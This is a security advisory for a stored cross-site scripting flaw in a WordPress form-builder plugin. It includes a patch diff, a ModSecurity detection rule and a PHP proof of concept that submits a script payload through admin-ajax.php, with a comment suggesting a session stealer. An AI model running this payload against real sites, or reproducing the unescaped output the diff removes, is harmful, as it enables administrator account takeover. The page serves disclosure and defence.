Opens in a new tab
Published : November 15, 2026

CVE-2026-27536: MailChimp Subscribe Form, Optin Builder, PopUp Builder, Form Builder <= 4.3.3 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 4.3.3
Patched Version 4.3.4
Disclosed August 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-27536: The MailChimp Subscribe Form, Optin Builder, PopUp Builder, Form Builder plugin for WordPress (versions <= 4.3.3) suffers from an unauthenticated stored cross-site scripting vulnerability. The flaw resides in the admin dashboard where form submission data is rendered without proper output escaping. An attacker can submit a form containing a malicious script, which is stored in the database and executed when an administrator views the submissions page. Atomic Edge research assigns this a CVSS score of 7.2 (High).

The root cause is insufficient output escaping in multiple locations. In `mailchimp-subscribe-sm/admin/views/Dashboard/form-submissions.php`, the `get_the_title()` output is concatenated into an option element without `esc_html()`. In `mailchimp-subscribe-sm/integrations/form-builder-database/extension.php`, the variables `$formNameKey`, `$smfb_field_name`, `$vale`, and `$smfb_formBuilder_single_item['defaultIndex']` are echoed directly into HTML and JavaScript contexts. Most critically, the inline script that generates `allFormDataObject_*` uses string concatenation and manual escaping that is bypassable, allowing an attacker to break out of the JavaScript string and inject arbitrary code. The patch introduces a helper `smfb_formBuilder_database_flatten_value()` to normalize array values to strings, and applies `esc_html()`, `esc_attr()`, and `wp_json_encode()` with HEX flags for safe embedding.

Exploitation requires the attacker to submit a form built with the plugin, injecting a payload into any form field. The payload is stored in the database. When an authenticated administrator (or any user with access to the form submissions page) views the submissions, the malicious JavaScript executes in their browser. The attack vector is unauthenticated because the form submission endpoint is publicly accessible. The payload can steal session cookies, create rogue administrative accounts, or perform other actions with the administrator's privileges. Atomic Edge analysis confirms that the vulnerable parameter is any form field value (e.g., `name`, `email`, `message`) submitted to the form processing endpoint, typically `/wp-admin/admin-ajax.php` with action `smfb_form_submit` or similar, or via a direct POST to the page.

The patch fixes the vulnerability by properly escaping all output. In `form-submissions.php`, `esc_attr()` and `esc_html()` are applied to the post ID and title. In `extension.php`, the `smfb_formBuilder_database_flatten_value()` function ensures values are strings, and all HTML outputs are escaped with `esc_html()` or `esc_attr()`. The JavaScript generation is refactored to build a data array and then encode it with `wp_json_encode()` using `JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT`, which produces a safe JSON string with all special characters hex-escaped, preventing script injection. The variable name is also sanitized with `preg_replace()` to only allow alphanumeric and underscore characters.

Successful exploitation leads to stored cross-site scripting, which can result in session hijacking, administrative privilege escalation, malware distribution, or site defacement. Because the payload executes in the context of the admin panel, an attacker can perform any action the administrator can, including installing plugins, modifying site content, or exfiltrating sensitive data. This constitutes a severe threat to the confidentiality, integrity, and availability of the WordPress site. Atomic Edge research recommends immediate upgrade to version 4.3.4 or later.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/mailchimp-subscribe-sm/admin/views/Dashboard/form-submissions.php
+++ b/mailchimp-subscribe-sm/admin/views/Dashboard/form-submissions.php
@@ -41,7 +41,7 @@
 			$isSelected = 'selected';
 		}

-		$allLandingPagePosts = $allLandingPagePosts. " <option value='". $ulpb_single_post->ID. "' $isSelected > ". get_the_title($ulpb_single_post) ." </option> ";
+		$allLandingPagePosts = $allLandingPagePosts. " <option value='". esc_attr($ulpb_single_post->ID). "' $isSelected > ". esc_html( get_the_title($ulpb_single_post) ) ." </option> ";

 	}
 }
--- a/mailchimp-subscribe-sm/integrations/form-builder-database/extension.php
+++ b/mailchimp-subscribe-sm/integrations/form-builder-database/extension.php
@@ -4,6 +4,18 @@
 if ( ! defined( 'ABSPATH' ) ) exit;


+/**
+ * Flatten a stored submission value to a plain string before escaping.
+ * Submitted values are strings, but legacy rows may hold arrays.
+ */
+if ( ! function_exists( 'smfb_formBuilder_database_flatten_value' ) ) {
+    function smfb_formBuilder_database_flatten_value( $value ) {
+        if ( is_array( $value ) ) {
+            return implode( ', ', array_map( 'strval', $value ) );
+        }
+        return (string) $value;
+    }
+}



@@ -79,7 +91,7 @@

             ?>
             <div class="PB_accordion_forms">
-              <?php echo "<h4>$formNameKey</h4>"; ?>
+              <?php echo "<h4>" . esc_html( $formNameKey ) . "</h4>"; ?>
               <div>
                 <h4>Total Form Submissions :  <?php echo($dataListSize+1); ?> </h4>
                 <h4 id="formSubmissionsPremiumNotice" style="display:none;">Latest 50 submissions are being shown, To view all Form Submissions please upgrade to premium plan.</h4>
@@ -91,7 +103,7 @@
                        if ($smfb_field_name == 'defaultIndex') {
                            continue;
                        }else {
-                        echo "<th> $smfb_field_name </th>";
+                        echo "<th> " . esc_html( $smfb_field_name ) . " </th>";
                        }
                     } ?>
                   <th> Delete </th>
@@ -124,14 +136,15 @@
                                     if ($valeKey == 'defaultIndex') {
                                         continue;
                                     }else{
-                                        echo "<td><br> $vale <br><br></td>";
+                                        $vale = smfb_formBuilder_database_flatten_value( $vale );
+                                        echo "<td><br> " . esc_html( $vale ) . " <br><br></td>";
                                     }
                                 }
                             ?>


                             <td>
-                                <div class="entryDeleteBtn edb-<?php echo($smfb_formBuilder_single_item['defaultIndex']); ?>" data-entryIndex="<?php echo($smfb_formBuilder_single_item['defaultIndex']); ?>" ><span class="dashicons dashicons-trash" data-entryIndex="<?php echo($smfb_formBuilder_single_item['defaultIndex']); ?>"></span></div>
+                                <div class="entryDeleteBtn edb-<?php echo esc_attr($smfb_formBuilder_single_item['defaultIndex']); ?>" data-entryIndex="<?php echo esc_attr($smfb_formBuilder_single_item['defaultIndex']); ?>" ><span class="dashicons dashicons-trash" data-entryIndex="<?php echo esc_attr($smfb_formBuilder_single_item['defaultIndex']); ?>"></span></div>
                             </td>


@@ -149,47 +162,55 @@
                     <script type="text/javascript">

                             <?php
-                            $formNameKeyWithoutSpaces = str_replace(' ', '', $formNameKey);
-                            $formNameKeyWithoutSpaces = str_replace('.', '', $formNameKeyWithoutSpaces);
-                            $formNameKeyWithoutSpaces = str_replace('-', '', $formNameKeyWithoutSpaces);
-                            $formNameKeyWithoutSpaces = str_replace('+', '', $formNameKeyWithoutSpaces);
-
-                             echo "var allFormDataObject_$formNameKeyWithoutSpaces"; ?> = [ <?php
-                                echo "[";
-                                    foreach ($formNameKeyEntry[0] as $key => $val) {
-                                        if ($key == 'defaultIndex') {
-                                            continue;
-                                        }else{
-                                            $key = str_replace(''', '"', $key);
-                                            $key = str_replace('_', ' ', $key);
-                                            echo "'$key'".",";
-                                        }
-
-                                    }
-                                    echo "],";
-                              foreach ($formNameKeyEntry as $formNameKeyEntryKey => $smfb_formBuilder_single_item) {
+                            // Restrict the generated JS variable name to identifier-safe characters.
+                            $formNameKeyWithoutSpaces = preg_replace( '/[^A-Za-z0-9_]/', '', $formNameKey );
+                            if ( $formNameKeyWithoutSpaces === '' ) {
+                                $formNameKeyWithoutSpaces = 'form' . $formNumberCounter;
+                            }
+
+                            $allFormDataRows = array();
+
+                            $allFormDataHeaderRow = array();
+                            foreach ($formNameKeyEntry[0] as $key => $val) {
+                                if ($key == 'defaultIndex') {
+                                    continue;
+                                }else{
+                                    $key = str_replace(''', '"', $key);
+                                    $key = str_replace('_', ' ', $key);
+                                    $allFormDataHeaderRow[] = $key;
+                                }
+                            }
+                            $allFormDataRows[] = $allFormDataHeaderRow;
+
+                            foreach ($formNameKeyEntry as $formNameKeyEntryKey => $smfb_formBuilder_single_item) {

-                                    $ThisForm_Field = $smfb_formBuilder_single_item;
-                                    echo "[";
-                                    foreach ($ThisForm_Field as $key => $value) {
-                                        if ($key == 'defaultIndex') {
-                                            continue;
-                                        }else{
-                                            $value = str_replace(''', '"', $value);
-                                            echo "'$value'".",";
-                                        }
-
+                                $ThisForm_Field = $smfb_formBuilder_single_item;
+                                $thisFormDataRow = array();
+                                foreach ($ThisForm_Field as $key => $value) {
+                                    if ($key == 'defaultIndex') {
+                                        continue;
+                                    }else{
+                                        $value = smfb_formBuilder_database_flatten_value( $value );
+                                        $value = str_replace(''', '"', $value);
+                                        $thisFormDataRow[] = $value;
                                     }
-                                    echo "],";
+                                }
+                                $allFormDataRows[] = $thisFormDataRow;
+
+                            }

-                                } ?>];
+                            // wp_json_encode with the HEX flags keeps the payload inert inside an inline <script>.
+                            echo 'var allFormDataObject_' . $formNameKeyWithoutSpaces . ' = '
+                                . wp_json_encode( $allFormDataRows, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT )
+                                . ';';
+                            ?>

                     </script>
                     <br>
                     <br>
                     <?php
                         if (function_exists('ulpb_available_pro_widgets') ) {
-                            echo "<div class='btn-green large-btn downloadFormDatabtn' style='float:left;'  data-formID='allFormDataObject_$formNameKeyWithoutSpaces' data-formName='$formNameKey' >Download Data</div>";
+                            echo "<div class='btn-green large-btn downloadFormDatabtn' style='float:left;'  data-formID='allFormDataObject_" . esc_attr($formNameKeyWithoutSpaces) . "' data-formName='" . esc_attr($formNameKey) . "' >Download Data</div>";
                         }
                     ?>

@@ -212,7 +233,7 @@


         <form id="formBuilderDataListEmpty">
-            <input type="hidden" name="ps_ID" value="<?php echo $postID; ?>">
+            <input type="hidden" name="ps_ID" value="<?php echo esc_attr($postID); ?>">
             <div class="btn-red large-btn emptyFormDataBtn" style="max-width:150px;float: right; background: #f44336;">Delete All Data</div>

             <p style="margin: 25px; font-size: 25px;"></p>
--- a/mailchimp-subscribe-sm/mun/views/welcome.php
+++ b/mailchimp-subscribe-sm/mun/views/welcome.php
@@ -88,7 +88,7 @@
 			<?php foreach ( $recentEntries as $entry ): ?>
 				<div class="support-content">

-				<p><a target="_blank" href="<?php echo admin_url('edit.php?post_type=pluginops_forms&page=page-builder-smfb-form-submissions&selectedPostID='.$entry['post_id']) ?>"><?php echo $entry["Form_Name"] . " - " . $entry["date"] ?></a></p>
+				<p><a target="_blank" href="<?php echo esc_url( admin_url('edit.php?post_type=pluginops_forms&page=page-builder-smfb-form-submissions&selectedPostID='.$entry['post_id']) ) ?>"><?php echo esc_html( $entry["Form_Name"] . " - " . $entry["date"] ) ?></a></p>

 				</div>

--- a/mailchimp-subscribe-sm/subcribe-me.php
+++ b/mailchimp-subscribe-sm/subcribe-me.php
@@ -5,7 +5,7 @@
 Author: PluginOps
 Plugin URI: https://pluginops.com/optin-builder/
 Author URI: https://pluginops.com/optin-builder/
-Version: 4.3.3
+Version: 4.3.4
 Donate link: https://pluginops.com/optin-builder/
 License: GPL V2
 */

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-27536
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202627536,phase:2,deny,status:403,chain,msg:'CVE-2026-27536 via MailChimp Subscribe Form AJAX',severity:'CRITICAL',tag:'CVE-2026-27536'"
  SecRule ARGS_POST:action "@streq smfb_form_submit" "chain"
    SecRule ARGS_POST:message "@rx <script|javascript:|onerrors*=|<imgs+[^>]*onerror" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-27536 - MailChimp Subscribe Form, Optin Builder, PopUp Builder, Form Builder <= 4.3.3 - Unauthenticated Stored Cross-Site Scripting

$target_url = 'http://example.com'; // Change to target WordPress site

// Step 1: Identify the form page and form fields. For demonstration, assume a form exists at /contact-form/ with fields name, email, message.
// Step 2: Submit a payload in one of the fields.
$payload = "<script>alert('XSS');</script>"; // Basic payload; replace with session stealer as needed

// Build POST data for the form submission. The exact parameters depend on the form plugin's implementation.
// Common pattern: action=smfb_form_submit, form_id=1, and field values.
$post_data = [
    'action' => 'smfb_form_submit', // likely AJAX action
    'form_id' => '1', // adjust
    'name' => 'Attacker',
    'email' => 'attacker@example.com',
    'message' => $payload,
    'nonce' => '...' // Sometimes a nonce is required; may be omitted or obtained from page.
];

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0');

// Execute the request
$response = curl_exec($ch);
if (curl_errno($ch)) {
    echo 'Error: ' . curl_error($ch);
    exit;
}
curl_close($ch);

// Step 3: The payload is stored. When an admin views the submissions page, the script executes.
echo "Payload submitted. Check admin submissions page for execution.n";

// Note: This PoC assumes the form submission endpoint and parameters. Adjust according to the actual form implementation.
// For unauthenticated form submissions, no authentication is required.

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.